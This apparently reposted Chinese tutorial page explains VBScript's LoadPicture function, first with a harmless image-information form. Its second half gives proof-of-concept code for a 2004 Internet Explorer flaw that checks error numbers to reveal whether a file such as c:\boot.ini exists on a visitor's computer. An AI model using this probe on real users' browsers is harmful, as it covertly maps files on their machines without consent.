繁體中文当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > vbscript LoadPicture函数使用方法与漏洞利用
- VBScript
- 查看SQL状态的vbs
- vbs 字符统计功能模块
- 重新安装ie的一个vbs
- 中文姓名笔画计算（VBS脚本版）
- VBS 数字转英文代码
- 清除垃圾的VBS文件 自动查找多个盘
- math.vbs 自然数n的n次方的的和或积的级数
- encrypt.vbs 内容加密vbs实现代码
- 一段病毒常用的VBS代码
- VBS相册生成脚本[
- VBS教程：运算符-连接运算符 (&)
- 黑客必须要知道的几个vbs文件代码
- 用vbs实现虚拟主机和域名查循的脚本
- reg2vbs.vbs 将Reg文件转换为VBS文件保存 IT学习网修正版本
- vbscript语句中“&H”专用于16进制数表示
- 按键精灵 脚本-学习VBS的一个不错的教程
- reg2vbs.vbs 将Reg文件转换为VBS文件保存修正版本
- 一个可以删除指定天数文件的vbs脚本
- CreateWeb.vbs 代码
- N年前的两个脚本%5c暴库
VBScript 中的 vbscript LoadPicture函数使用方法与漏洞利用
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-11 浏览: 77 ::
收藏到网摘: n/a
by：lcx
示例：
<title>LoadPicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">
Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) ‘26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
不过这个函数有个漏洞，可以探测电脑上存在的文件名。2004年的漏洞，微软现在也没补，示例:
<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>
评论 (0) All
